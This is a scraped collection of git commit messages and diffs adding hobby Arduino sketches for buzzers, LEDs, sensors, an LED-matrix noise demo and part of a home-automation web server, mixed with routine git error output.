Add Joysticks-128x64-Graphic.

Add Joysticks-128x64-Graphic.

Display the joystick positions on two crosshairs.

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/JulianNicholls/Arduino.git/'


Delete Thermal_HUD_bicubic.ino

Delete Thermal_HUD_bicubic.ino

Odd merge issues leading to compilation errors

error: pathspec 'Thermal' did not match any file(s) known to git
error: pathspec 'Imaging' did not match any file(s) known to git
error: pathspec 'HUD' did not match any file(s) known to git
error: pathspec 'code/Thermal_HUD_bicubic/Thermal_HUD_bicubic.ino' did not match any file(s) known to git


Create cash-register.ino

Create cash-register.ino

error: pathspec 'arduino/cash-register.ino' did not match any file(s) known to git

--- arduino/cash-register.ino
+++ arduino/cash-register.ino
@@ -0,0 +1,65 @@
+const int obstaclePin = 7;
+const int buzzerPin = 6;
+const int soundDuration = 40;
+const int randomError = 20;
+int lastObstacleValue;
+
+/**
+ * Setup the board
+ */
+void setup() {
+    // initialize serial communication:
+    //Serial.begin(9600);
+
+    pinMode(buzzerPin, OUTPUT);
+    pinMode(obstaclePin, INPUT);
+
+    lastObstacleValue = HIGH;
+}
+
+/**
+ * Main loop
+ */
+void loop() {
+    int obstacleValue = digitalRead(obstaclePin);
+
+    if (lastObstacleValue == HIGH && obstacleValue == LOW) {
+        int randNumber = random(randomError);
+        if (randNumber == 0) {
+            soundError();
+        } else {
+            soundOk();
+        }
+    }
+    lastObstacleValue = obstacleValue;
+
+    delay(50);
+}
+
+/**
+ * Make OK sound
+ */
+void soundOk() {
+    int i;
+    for (i=0; i<soundDuration; i++) {
+        digitalWrite(buzzerPin, HIGH);
+        delay(1);
+        digitalWrite(buzzerPin, LOW);
+        delay(1);
+    }
+}
+
+/**
+ * Make error sound
+ */
+void soundError() {
+    int i;
+    for (i=0; i<soundDuration; i++) {
+        analogWrite(buzzerPin, 50);
+        delay(1);
+        analogWrite(buzzerPin, 255);
+        delay(1);
+        analogWrite(buzzerPin, 0);
+        delay(1);
+    }
+}


ADD: Sound sensor test

ADD: Sound sensor test

error: pathspec 'tests/sound-sensor/sound-sensor.ino' did not match any file(s) known to git

--- tests/sound-sensor/sound-sensor.ino
+++ tests/sound-sensor/sound-sensor.ino
@@ -0,0 +1,55 @@
+/*
+* Connect sound sensor to digital pin 2
+* We will use the onboard lED to indicate sound detected and output to sr=erial monitor
+*/
+
+#define soundPin 2 // Use Pin 10 as our Input
+int soundValue = HIGH; // This is where we record our Sound Measurement
+int led = 13;
+
+boolean bSound = false;
+
+unsigned long lastSoundTime; // Record the time that we measured a sound
+
+int soundTime = 300; // Number of milli seconds to keep the sound alarm high
+
+
+void setup ()
+  {
+  Serial.begin(9600);
+  pinMode (soundPin, INPUT) ; // input from the Sound Detection Module
+  pinMode(led, OUTPUT);
+}
+
+void loop ()
+{
+  //digitalWrite(13, HIGH);
+  soundValue = digitalRead (soundPin) ; // read the sound alarm time
+  //Serial.println(soundValue);
+  if (soundValue == LOW) // If we hear a sound
+  {
+
+    lastSoundTime = millis(); // record the time of the sound alarm
+    // We don't want to fill up monitor
+    if (!bSound){
+      Serial.println("##########    #########       #########");
+      Serial.println("    #         #       #       #       #");
+      Serial.println("    #         #       #       #       #");
+      Serial.println("    #         #########       #########");
+      Serial.println("    #         #       #       #");
+      Serial.println("    #         #       #       #");
+      Serial.println("    #         #       #       #");
+      Serial.println("\n\n\n");
+      digitalWrite(led, HIGH);
+      bSound = true;
+    }
+  }
+  else
+  {
+    if( (millis()-lastSoundTime) > soundTime && bSound){
+      Serial.println("quiet");
+      digitalWrite(led, LOW);
+      bSound = false;
+    }
+  }
+}


Unnecessary Files

Unnecessary Files

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/jackm97/Arduino-Shutter.git/'


Reordering code in mpu data reading

Reordering code in mpu data reading

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/tomwagner1999/SmartHome.git/'


Create GasScale.ino

Create GasScale.ino

error: pathspec 'GasScale/GasScale.ino' did not match any file(s) known to git

--- GasScale/GasScale.ino
+++ GasScale/GasScale.ino
@@ -0,0 +1 @@
+


Add ikea dioder demo to the project.

Add ikea dioder demo to the project.

Demo contains a few functions to demonstrate simple functions as pulse
(flash), fade to a color (rainbow) and fade white in and out.

error: pathspec 'ikea_dioder_demo/ikea_dioder_demo.ino' did not match any file(s) known to git

--- ikea_dioder_demo/ikea_dioder_demo.ino
+++ ikea_dioder_demo/ikea_dioder_demo.ino
@@ -0,0 +1,126 @@
+byte r = 0;
+byte g = 0;
+byte b = 0;
+byte rCurrent = 0;
+byte gCurrent = 0;
+byte bCurrent = 0;
+
+#define PIN_G 3
+#define PIN_B 5
+#define PIN_R 6
+
+#define FADE_FAST 1
+#define FADE_MEDIUM 3
+#define FADE_SLOW 5
+#define LONG_PAUSE 500
+#define MEDIUM_PAUSE 300
+#define SHORT_PAUSE 150
+
+#define PAUSE LONG_PAUSE
+#define FADE FADE_SLOW
+bool fadeTo(byte nr, byte ng, byte nb, byte delayms){
+  bool isFinished = false;
+  r = nr;
+  g = ng;
+  b = nb;
+
+  while (!isFinished){
+   if(rCurrent != r)  {
+     if(rCurrent < r) rCurrent++;
+     else rCurrent--;
+     analogWrite(PIN_R, rCurrent);
+   }
+   if(gCurrent != g) {
+      if(gCurrent < g) gCurrent++;
+      else gCurrent--;
+      analogWrite(PIN_G, gCurrent);
+   }
+   if(bCurrent != b) {
+     if(bCurrent < b) bCurrent++;
+     else bCurrent--;
+     analogWrite(PIN_B, bCurrent);
+   }
+   if(rCurrent == r && bCurrent == b && gCurrent == g) isFinished = true;
+   delay(delayms);
+  }
+}
+
+void setup(){
+  pinMode(PIN_R, OUTPUT);
+  pinMode(PIN_G, OUTPUT);
+  pinMode(PIN_B, OUTPUT);
+}
+
+void rainbow(){
+  fadeTo(255, 0, 0, FADE);
+  delay(PAUSE);
+  fadeTo(255, 127, 0, FADE);
+  delay(PAUSE);
+  fadeTo(255, 255, 0, FADE);
+  delay(PAUSE);
+  fadeTo(127, 0, 0, FADE);
+  delay(PAUSE);
+  fadeTo(0, 255, 0, FADE);
+  delay(PAUSE);
+  fadeTo(0, 255, 0, FADE);
+  delay(PAUSE);
+  fadeTo(0, 255, 127, FADE);
+  delay(PAUSE);
+  fadeTo(0, 255, 255, FADE);
+  delay(PAUSE);
+  fadeTo(0, 127, 255, FADE);
+  delay(PAUSE);
+  fadeTo(0, 0, 255, FADE);
+  delay(PAUSE);
+  fadeTo(127, 0, 255, FADE);
+  delay(PAUSE);
+  fadeTo(255, 0, 255, FADE);
+  delay(PAUSE);
+  fadeTo(255, 0, 127, FADE);
+  delay(PAUSE);
+  fadeTo(0,0,0,FADE);
+  delay(PAUSE);
+}
+
+void burstColor(byte nr, byte ng, byte nb, int duration) {
+   analogWrite(PIN_R, nr);
+   analogWrite(PIN_G, ng);
+   analogWrite(PIN_B, nb);
+   delay(duration);
+   analogWrite(PIN_R, rCurrent);
+   analogWrite(PIN_G, gCurrent);
+   analogWrite(PIN_B, bCurrent);
+}
+
+void burstMultiple(byte nr, char ng, byte nb, int duration, char times){
+  int i;
+   for(i = 0; i < times; i++){
+     burstColor(nr, ng, nb, duration);
+     delay(duration);
+   }
+}
+
+void fadeWhite(){
+  fadeTo(0,0,0,1);
+  fadeTo(255, 255, 255, 20);
+  fadeTo(0,0,0,20);
+}
+
+void loop(){
+  //rainbow();
+  fadeWhite();
+  /*burstMultiple(255, 0, 0, 50, 10);
+  burstMultiple(0, 255, 0, 50, 10);
+  burstMultiple(0, 0, 255, 50, 10);
+  burstMultiple(255, 255, 255, 50, 10);
+  burstMultiple(255, 0, 0, 50, 10);
+  burstMultiple(0, 255, 0, 50, 10);
+  burstMultiple(0, 0, 255, 50, 10);
+  burstMultiple(16, 16, 16, 50, 10);
+  burstMultiple(48, 48, 48, 50, 10);
+  burstMultiple(128, 128, 128, 50, 10);
+  burstMultiple(192, 192, 192, 50, 10);
+  burstMultiple(255, 255, 255, 50, 10);*/
+}
+
+


Uso de entradas y salidas digitales

Uso de entradas y salidas digitales

error: pathspec 'LM4F_E001/LM4F_E001.ino' did not match any file(s) known to git

--- LM4F_E001/LM4F_E001.ino
+++ LM4F_E001/LM4F_E001.ino
@@ -0,0 +1,73 @@
+/*******************************************************************************
+ *
+ *                  Uso de entradas y salidas digitales
+ *
+ *******************************************************************************
+ * FileName:        LM4F_E001
+ * Processor:       EX-LM4F120XL
+ * Complier:        Energia 0101e0017
+ * Author:          Pedro Sánchez (MrChunckuee)
+ * Blog:            http://mrchunckuee.blogspot.com/
+ * Email:           mrchunckuee.psr@gmail.com
+ * Description:     Este ejemplo enciende los LEDs dependiendo de la cantidad
+                    de veces que se precione el boton PUSH1.
+ *******************************************************************************
+ * Rev.         Date            Comment
+ *   v1.00      12/06/2016      Creación del firmware
+ ******************************************************************************/
+
+char count;
+
+void setup() {
+  // Inicializa entradas y salidas
+  // Activamos Pull-Up en PUSH1
+  pinMode(RED_LED, OUTPUT);
+  pinMode(GREEN_LED, OUTPUT);
+  pinMode(BLUE_LED, OUTPUT);
+  pinMode(PUSH1, INPUT_PULLUP);
+  count=0;
+}
+
+void loop() {
+ ReadInputs();
+ SetOutputs();
+}
+
+void ReadInputs (){
+  if (digitalRead(PUSH1)==LOW){ //Checamos el estado de PUSH1
+    count = count + 1;
+    if(count>4) count = 1;
+    while(digitalRead(PUSH1)==LOW);
+    delay(1);
+  }
+}
+
+void SetOutputs(){
+  switch(count){//Colocamos las salidad dependiendo del estado de count
+    case 1:
+    digitalWrite(RED_LED, HIGH);
+    digitalWrite(GREEN_LED, LOW);
+    digitalWrite(BLUE_LED, LOW);
+    break;
+    case 2:
+    digitalWrite(RED_LED, LOW);
+    digitalWrite(GREEN_LED, HIGH);
+    digitalWrite(BLUE_LED, LOW);
+    break;
+    case 3:
+    digitalWrite(RED_LED, LOW);
+    digitalWrite(GREEN_LED, LOW);
+    digitalWrite(BLUE_LED, HIGH);
+    break;
+    case 4:
+    digitalWrite(RED_LED, HIGH);
+    digitalWrite(GREEN_LED, HIGH);
+    digitalWrite(BLUE_LED, HIGH);
+    break;
+    default:
+    digitalWrite(RED_LED, LOW);
+    digitalWrite(GREEN_LED, LOW);
+    digitalWrite(BLUE_LED, LOW);
+    break;
+  }
+}


Create Remote.ino

Create Remote.ino

error: pathspec 'Firmware/Remote/Remote.ino' did not match any file(s) known to git

--- Firmware/Remote/Remote.ino
+++ Firmware/Remote/Remote.ino
@@ -0,0 +1 @@
+Soon!


Arduino program used in "Arduino - Using the 1Sheeld on the Onion Omega"

error: pathspec 'Ard-1SheeldOmega/DHTshield/DHTshield.ino' did not match any file(s) known to git

--- Ard-1SheeldOmega/DHTshield/DHTshield.ino
+++ Ard-1SheeldOmega/DHTshield/DHTshield.ino
@@ -0,0 +1,54 @@
+
+// Example testing sketch for various DHT humidity/temperature sensors
+// Written by ladyada, public domain
+
+#define CUSTOM_SETTINGS
+#define INCLUDE_TERMINAL_SHIELD
+
+/* Include 1Sheeld library. */
+#include <OnionLibrary.h>
+#include <OneSheeld.h>
+#include "DHT.h"
+
+#define DHTPIN 2     // what pin we're connected to
+
+// Uncomment whatever type you're using!
+//#define DHTTYPE DHT11   // DHT 11
+#define DHTTYPE DHT22   // DHT 22  (AM2302)
+//#define DHTTYPE DHT21   // DHT 21 (AM2301)
+
+// Connect pin 1 (on the left) of the sensor to +5V
+// Connect pin 2 of the sensor to whatever your DHTPIN is
+// Connect pin 4 (on the right) of the sensor to GROUND
+// Connect a 10K resistor from pin 2 (data) to pin 1 (power) of the sensor
+
+DHT dht(DHTPIN, DHTTYPE);
+Onion* onionSetup;
+
+void setup() {
+  onionSetup = new Onion;
+  /* Start communication. */
+  OneSheeld.begin();
+
+  dht.begin();
+  Terminal.println("DHTxx test!");
+}
+
+void loop() {
+  // Reading temperature or humidity takes about 250 milliseconds!
+  // Sensor readings may also be up to 2 seconds 'old' (its a very slow sensor)
+  float h = dht.readHumidity();
+  float t = dht.readTemperature();
+
+  // check if returns are valid, if they are NaN (not a number) then something went wrong!
+  if (isnan(t) || isnan(h)) {
+    Terminal.println("Failed to read from DHT");
+  } else {
+    Terminal.print("Humidity: ");
+    Terminal.print(h);
+    Terminal.print(" %\t");
+    Terminal.print("Temperature: ");
+    Terminal.print(t);
+    Terminal.println(" *C");
+  }
+}


Added noise comparison example.

Added noise comparison example.

error: pathspec 'firmware/examples/FastLedComparisonNoise/FastLedComparisonNoise.ino' did not match any file(s) known to git

--- firmware/examples/FastLedComparisonNoise/FastLedComparisonNoise.ino
+++ firmware/examples/FastLedComparisonNoise/FastLedComparisonNoise.ino
@@ -0,0 +1,257 @@
+#define SMARTMATRIX_ENABLED   0
+
+#include "application.h"
+
+#if (SMARTMATRIX_ENABLED == 1)
+  #include "SmartMatrix3/SmartMatrix3.h"
+#endif
+
+#include "FastLEDSmartMatrix/FastLEDSmartMatrix.h"
+FASTLED_USING_NAMESPACE;
+
+#if (SMARTMATRIX_ENABLED == 1)
+  #define COLOR_DEPTH 24                  // known working: 24, 48 - If the sketch uses type `rgb24` directly, COLOR_DEPTH must be 24
+  const uint8_t kMatrixWidth = 16;        // known working: 16, 32, 48, 64
+  const uint8_t kMatrixHeight = 16;       // known working: 32, 64, 96, 128
+  const uint8_t kRefreshDepth = 36;       // known working: 24, 36, 48
+  const uint8_t kDmaBufferRows = 4;       // known working: 2-4, use 2 to save memory, more to keep from dropping frames and automatically lowering refresh rate
+  const uint8_t kPanelType = 0;   // use SMARTMATRIX_HUB75_16ROW_MOD8SCAN for common 16x32 panels
+  const uint8_t kMatrixOptions = (SMARTMATRIX_OPTIONS_NONE);      // see http://docs.pixelmatix.com/SmartMatrix for options
+  const uint8_t kBackgroundLayerOptions = (SM_BACKGROUND_OPTIONS_NONE);
+  const uint8_t kScrollingLayerOptions = (SM_SCROLLING_OPTIONS_NONE);
+
+  SMARTMATRIX_ALLOCATE_BUFFERS(matrix, kMatrixWidth, kMatrixHeight, kRefreshDepth, kDmaBufferRows, kPanelType, kMatrixOptions);
+  SMARTMATRIX_ALLOCATE_BACKGROUND_LAYER(backgroundLayer, kMatrixWidth, kMatrixHeight, COLOR_DEPTH, kBackgroundLayerOptions);
+  SMARTMATRIX_ALLOCATE_SCROLLING_LAYER(scrollingLayer, kMatrixWidth, kMatrixHeight, COLOR_DEPTH, kScrollingLayerOptions);
+
+  rgb24 *buffer;
+
+  const uint16_t NUM_LEDS = kMatrixWidth * kMatrixHeight;
+#else
+  #define DATA_PIN D2
+  #define CLOCK_PIN D4
+
+  #define COLOR_ORDER BGR
+  #define CHIPSET     APA102
+
+  // Params for width and height
+  const uint8_t kMatrixWidth = 16;
+  const uint8_t kMatrixHeight = 16;
+
+  const uint16_t NUM_LEDS = kMatrixWidth * kMatrixHeight;
+
+  CRGB leds_plus_safety_pixel[ NUM_LEDS + 1];
+  CRGB* leds( leds_plus_safety_pixel + 1);
+#endif
+
+const uint8_t scale = 256 / kMatrixWidth;
+
+#if (SMARTMATRIX_ENABLED == 1)
+  uint16_t XY(uint8_t x, uint8_t y) {
+    return kMatrixWidth * y + x;
+  }
+#else
+  uint16_t XY( uint8_t x, uint8_t y)
+  {
+    uint16_t i;
+
+    if( y & 0x01) {
+      // Odd rows run backwards
+      uint8_t reverseX = (kMatrixWidth - 1) - x;
+      i = (y * kMatrixWidth) + reverseX;
+    } else {
+      // Even rows run forwards
+      i = (y * kMatrixWidth) + x;
+    }
+
+    return i;
+  }
+#endif
+
+#define BRIGHTNESS 10
+
+void setup() {
+#if (SMARTMATRIX_ENABLED == 1)
+  matrix.addLayer(&backgroundLayer);
+  matrix.addLayer(&scrollingLayer);
+  matrix.begin();
+  matrix.setBrightness(BRIGHTNESS);
+  backgroundLayer.enableColorCorrection(false);
+#else
+  FastLED.addLeds<CHIPSET, DATA_PIN, CLOCK_PIN, COLOR_ORDER, DATA_RATE_MHZ(1)>(leds, NUM_LEDS).setCorrection(TypicalSMD5050);
+  FastLED.setBrightness( BRIGHTNESS );
+
+  // FastLED.setDither(BINARY_DITHER);
+  FastLED.setDither(DISABLE_DITHER);
+#endif
+}
+
+uint16_t noisex;
+uint16_t noisey;
+uint16_t noisez;
+
+int noisespeedx;
+int noisespeedy;
+int noisespeedz;
+
+uint16_t noisescale;
+
+CRGBPalette16 palette;
+
+void drawNoise()
+{
+  for (uint8_t x = 0; x < kMatrixWidth; x++) {
+    for (uint8_t y = 0; y < kMatrixHeight; y++) {
+      uint16_t xoffset = noisescale * x;
+      uint16_t yoffset = noisescale * y;
+
+      uint8_t index = inoise8(x + xoffset + noisex, y + yoffset + noisey, noisez);
+
+      // The range of the inoise8 function is roughly 16-238.
+      // These two operations expand those values out to roughly 0..255
+      // You can comment them out if you want the raw noise data.
+      index = qsub8(index, 16);
+      index = qadd8(index, scale8(index, 39));
+
+#if (SMARTMATRIX_ENABLED == 1)
+      buffer[XY(x, y)] = ColorFromPalette(palette, index);
+#else
+      leds[XY(x, y)] = ColorFromPalette(palette, index);
+#endif
+    }
+  }
+
+  noisex += noisespeedx;
+  noisey += noisespeedy;
+  noisez += noisespeedz;
+}
+
+void fireNoise() {
+  noisespeedx = 0;
+  noisespeedy = 64;
+  noisespeedz = 0;
+  noisescale = 64;
+  palette = HeatColors_p;
+  drawNoise();
+}
+
+void fireNoise2() {
+  noisespeedx = 0;
+  noisespeedy = 192;
+  noisespeedz = 4;
+  noisescale = 128;
+  palette = HeatColors_p;
+  drawNoise();
+}
+
+void lavaNoise() {
+  noisespeedx = 0;
+  noisespeedy = -3;
+  noisespeedz = 2;
+  noisescale = 8;
+  palette = LavaColors_p;
+  drawNoise();
+}
+
+void rainbowNoise() {
+  noisespeedx = 8;
+  noisespeedy = 0;
+  noisespeedz = 0;
+  noisescale = 16;
+  palette = RainbowColors_p;
+  drawNoise();
+}
+
+void rainbowStripeNoise() {
+  noisespeedx = 2;
+  noisespeedy = 0;
+  noisespeedz = 0;
+  noisescale = 4;
+  palette = RainbowStripeColors_p;
+  drawNoise();
+}
+
+void partyNoise() {
+  noisespeedx = 0;
+  noisespeedy = 8;
+  noisespeedz = 1;
+  noisescale = 16;
+  palette = PartyColors_p;
+  drawNoise();
+}
+
+void forestNoise() {
+  noisespeedx = 2;
+  noisespeedy = 0;
+  noisespeedz = 0;
+  noisescale = 4;
+  palette = ForestColors_p;
+  drawNoise();
+}
+
+void cloudNoise() {
+  noisespeedx = 0;
+  noisespeedy = 4;
+  noisespeedz = 0;
+  noisescale = 16;
+  palette = CloudColors_p;
+  drawNoise();
+}
+
+void oceanNoise() {
+  noisespeedx = 0;
+  noisespeedy = 0;
+  noisespeedz = 16;
+  noisescale = 16;
+  palette = OceanColors_p;
+  drawNoise();
+}
+
+typedef void (*Pattern)();
+typedef Pattern PatternList[];
+
+const PatternList patterns = {
+  fireNoise,
+  fireNoise2,
+  lavaNoise,
+  rainbowNoise,
+  rainbowStripeNoise,
+  partyNoise,
+  forestNoise,
+  cloudNoise,
+  oceanNoise,
+};
+
+#define ARRAY_SIZE(A) (sizeof(A) / sizeof((A)[0]))
+const uint8_t patternCount = ARRAY_SIZE(patterns);
+
+uint8_t patternIndex = 0;
+
+void nextPattern()
+{
+  // add one to the current pattern number, and wrap around at the end
+  patternIndex = (patternIndex + 1) % patternCount;
+}
+
+void loop() {
+   EVERY_N_MILLISECONDS(1000/30) {
+
+#if (SMARTMATRIX_ENABLED == 1)
+    buffer = backgroundLayer.backBuffer();
+#endif
+
+  patterns[patternIndex]();
+
+#if (SMARTMATRIX_ENABLED == 1)
+    backgroundLayer.swapBuffers(true);
+#endif
+  }
+
+#if (SMARTMATRIX_ENABLED == 0)
+  FastLED.show();
+#endif
+
+  EVERY_N_SECONDS( 5 ) {
+    nextPattern();  // change patterns periodically
+  }
+}


Four heaters cycling, temp and time validated.  Currently running at 100 ms update.

remote: Support for password authentication was removed on August 13, 2021.
remote: Please see https://docs.github.com/en/get-started/getting-started-with-git/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.
fatal: Authentication failed for 'https://github.com/FirstBuild/pizzaduino.git/'


M5StackFire neopixel VU meter added

M5StackFire neopixel VU meter added

error: pathspec 'examples/Fire/M5StackFire_NeoPixelVUmeter/M5StackFire_NeoPixelVUmeter.ino' did not match any file(s) known to git

--- examples/Fire/M5StackFire_NeoPixelVUmeter/M5StackFire_NeoPixelVUmeter.ino
+++ examples/Fire/M5StackFire_NeoPixelVUmeter/M5StackFire_NeoPixelVUmeter.ino
@@ -0,0 +1,25 @@
+/*
+ microphone test
+
+   hardwware:  M5StackFire
+
+ please use the serial plotter in the Arduino IDE to show the signal
+ change the baudrate of the plotter to 115200
+
+ September 2018, ChrisMicro
+*/
+
+#define M5STACKFIRE_MICROPHONE_PIN 34
+
+void setup()
+{
+  Serial.begin(115200);
+}
+
+void loop()
+{
+  int micValue = analogRead(M5STACKFIRE_MICROPHONE_PIN);
+
+  Serial.println(micValue);
+  delay(1);
+}


Add basic fillbrick scrolling line test

Add basic fillbrick scrolling line test

error: pathspec 'arduino/fillbrick.ino' did not match any file(s) known to git

--- arduino/fillbrick.ino
+++ arduino/fillbrick.ino
@@ -0,0 +1,27 @@
+//Pin connected to ST_CP of 74HC595
+const int latchPin = 12;
+//Pin connected to SH_CP of 74HC595
+const int clockPin = 11;
+////Pin connected to DS of 74HC595
+const int dataPin = 13;
+
+void setup() {
+  pinMode(latchPin, OUTPUT);
+  pinMode(clockPin, OUTPUT);
+  pinMode(dataPin, OUTPUT);
+}
+
+void loop() {
+  // count from 2 (0x00001) to 32 (0x10000)
+  // note: the furthest right pin is disconnected; drop the right most digit in binary
+  for (int a = 2 ; a< 32;a*=2) {
+    digitalWrite(latchPin, LOW);
+    // shift out the bits:
+    shiftOut(dataPin, clockPin, MSBFIRST, data[a]);
+    //take the latch pin high so the LEDs will light up:
+    digitalWrite(latchPin, HIGH);
+    // pause before next value:
+    delay(500);
+  }
+}
+


Create elfi.ino

Create elfi.ino

Main file of the ElFi project.

error: pathspec 'elfi.ino' did not match any file(s) known to git

--- elfi.ino
+++ elfi.ino
@@ -0,0 +1,500 @@
+/**
+ * @flie elfi.ino
+ * @version 1.0
+ *
+ * @section License
+ * Copyright (C) 2015, Alexander Sehlström
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * @section Description
+ * ElFi is a Do It Yourself Home Automation System.
+ *
+ * ElFi handels  divece timers that, using a RF433 transmitter,
+ * switches devices on/off at given time at specified days.
+ * Furthermore, using the Arduino Ethernet Sheild that retreives a
+ * LAN IP from a router using DHCP, ElFi hosts a web server. The web
+ * server provides an HTML interface that allows manual controll of
+ * the connected devices using e.g. your smart phone. Also, the real
+ * time clock of ElFi is set by retreiving the time from a NTP.
+ *
+ * In order for ElFi to work, you need:
+ * - Arduino with Ethernet Sheild
+ * - RF433/TX
+ * - NEXA Self learning switches, e.g. NEXA NEYC-3
+ * - COSA library (Object-Oriented Platform for Arduino Programming,
+ *   https://github.com/mikaelpatel/Cosa)
+ * - Dedicated LAN IP for the Ethernet Sheild to allow easy acces
+ *   to the web server on the Arduino
+ *
+ * @section Circuit
+ * This sketch is designed for the Ethernet Shield wired
+ * with a RF433/TX.
+ *
+ *
+ *                       W5100/ethernet
+ *                       +------------+
+ * (D10)--------------29-|CSN         |
+ * (D11)--------------28-|MOSI        |
+ * (D12)--------------27-|MISO        |
+ * (D13)--------------30-|SCK         |
+ * (D2)-----[ ]-------56-|IRQ         |
+ *                       +------------+
+ *
+ *                         RF433/TX
+ *                       +------------+
+ * (GND)---------------1-|GND         |
+ * (D9)----------------2-|DATA IN     |                   V
+ * (VCC)---------------3-|VCC         |                   |
+ *                       |ANT       0-|-------------------+
+ *                       +------------+       173 mm
+ *
+ * Connect the Ethernet Shield on the Arduino and then the
+ * Ethernet Sheild D9 to RF433 Transmitter data in pin.
+ *
+ * This file is part of the Arduino ElFi project.
+ */
+
+// DEVELOPMENT MODE ============================================================
+//#define DEVMODE 1
+
+#if defined DEVMODE
+#include "Cosa/Trace.hh"
+#include "Cosa/IOStream/Driver/UART.hh"
+#endif
+
+// INCLUDES ====================================================================
+// Cosa library ----------------------------------------------------------------
+#include "Cosa/Trace.hh"
+#include "Cosa/Watchdog.hh"
+#include "Cosa/OutputPin.hh"
+
+#include "Cosa/INET/DHCP.hh"
+#include "Cosa/INET/DNS.hh"
+#include "Cosa/INET/NTP.hh"
+
+#include "Cosa/Driver/NEXA.hh"
+
+#include "Cosa/Socket/Driver/W5100.hh"
+
+// ElFi library ----------------------------------------------------------------
+#include "TimerActivity.h"
+#include "WebServer.h"
+
+// DEFINITIONS =================================================================
+// Network configuration -------------------------------------------------------
+#define MAC 0xde, 0xad, 0xbe, 0xef, 0xfe, 0xed
+#define PORT 80
+
+// Time ------------------------------------------------------------------------
+#define TIME_ZONE 1                              // Time-zone; GMT+1, Stockholm
+#define TIME_NTP_SERVER "se.pool.ntp.org"        // NTP server; se.pool.ntp.org
+
+// HARDWARE SETUP ==============================================================
+// Ethernet Sheild -------------------------------------------------------------
+// Disable SD on Ethernet Shield
+#define USE_ETHERNET_SHIELD
+#define USE_ETHERNET_SHIELD
+#if defined(USE_ETHERNET_SHIELD)
+#include "Cosa/OutputPin.hh"
+OutputPin sd(Board::D4, 1);
+#endif
+
+// DECLARATIONS ================================================================
+// Alarm and activity ----------------------------------------------------------
+// Alarm and activity sheduler
+Alarm::Scheduler scheduler;
+
+// DeviceTimer activities
+const uint8_t allDays[7] = {1, 1, 1, 1, 1, 1, 1};
+const uint8_t weekDays[7] = {0, 1, 1, 1, 1, 1, 0};
+const uint8_t weekendDays[7] = {1, 0, 0, 0, 0, 0, 1};
+
+const uint8_t all = -1;
+
+const uint8_t on = 1;
+const uint8_t off = 0;
+
+FunctionTimer functionTimers[1] = {
+  FunctionTimer(weekDays,   6, 40,  0, &update_RTC),   //  1 Update the RTC
+};
+
+DeviceTimer deviceTimers[5] = {
+  DeviceTimer(weekDays,     6, 40,  0, all, on),       //  1 Weekday morning on
+  DeviceTimer(weekDays,     7, 25,  0, all, off),      //  2 Weekday morning off
+  DeviceTimer(weekDays,    22, 30,  0, all, on),       //  3 Weekday night off
+  DeviceTimer(weekendDays,  8, 30,  0, all, off),      //  4 Weekend morning on
+  DeviceTimer(allDays,     23, 30,  0, all, off)       //  5 All days night off
+};
+
+// DHCP, ethernet and web server -----------------------------------------------
+// MAC-address
+static const uint8_t mac[6] __PROGMEM = { MAC };
+
+// Host name
+static const char hostname[] __PROGMEM = "ElFi";
+
+// DHCP
+DHCP dhcp(hostname, mac);
+
+// Ethernet
+W5100 ethernet(mac);
+
+// Web server
+WebServer server;
+
+// HTML end of line
+#define CRLF "\r\n"
+
+// NEXA communications ---------------------------------------------------------
+// NEXA RF433/TX transmitter.
+NEXA::Transmitter transmitter(Board::D9, 0xc05a01L);
+
+// CLASS IMPLEMENTATAIONS ======================================================
+// WebServer -------------------------------------------------------------------
+/**
+ * The HTML page provided on request is Apple Web Application compatible. It
+ * uses a simple jQuery script to pass background GET queries triggerd by the
+ * interface buttons. The interface design is controlled via a header defined
+ * style (CSS).
+ */
+void
+WebServer::on_request(IOStream& page, char* method, char* path, char* query)
+{
+  static const char header[] __PROGMEM =
+    "HTTP/1.1 200 OK" CRLF
+    "Content-Type: text/html" CRLF
+    "Connection: close" CRLF CRLF
+    "<!DOCTYPE HTML>" CRLF
+    "" CRLF
+    "" CRLF
+    "<meta charset=\"UTF-8\">"
+    "<meta name='apple-mobile-web-app-capable' content='yes' />" CRLF
+    "<meta name='apple-mobile-web-app-status-bar-style' content='black' />" CRLF
+    "<meta name='apple-mobile-web-app-title' content='Home Automation System' />" CRLF
+    "<meta name='viewport' content='width=device-width, initial-scale=1, user-scalable = no'>" CRLF
+    "" CRLF
+    "" CRLF
+    "" CRLF
+    "<title>ElFI - Home Automation System</title>" CRLF
+    "" CRLF
+    "" CRLF;
+
+  static const char body1[] __PROGMEM =
+    "
ElFi
" CRLF
+    "
" CRLF
+    "
" CRLF
+    "

NEXA Devices

" CRLF
+    "
" CRLF
+    "<button onclick=\"deviceControll('http://10.0.1.190/?all_devices_on');\">All on</button>" CRLF
+    "
" CRLF
+    "
" CRLF
+    "<button onclick=\"deviceControll('http://10.0.1.190/?all_devices_off');\">All off</button>" CRLF
+    "
" CRLF
+    "
" CRLF;
+
+  static const char body_device1[] __PROGMEM =
+    "
" CRLF
+    "

NEXA ";
+
+  static const char body_device2[] __PROGMEM =
+    "

" CRLF
+    "
" CRLF
+    "<button onclick=\"deviceControll('http://10.0.1.190/?device_on_";
+
+  static const char body_device3[] __PROGMEM =
+    "');\">On</button>" CRLF
+    "
" CRLF
+    "
" CRLF
+    "<button onclick=\"deviceControll('http://10.0.1.190/?device_off_";
+
+  static const char body_device4[] __PROGMEM =
+    "');\">Off</button>" CRLF
+    "
" CRLF
+    "
" CRLF;
+
+  static const char footer[] __PROGMEM =
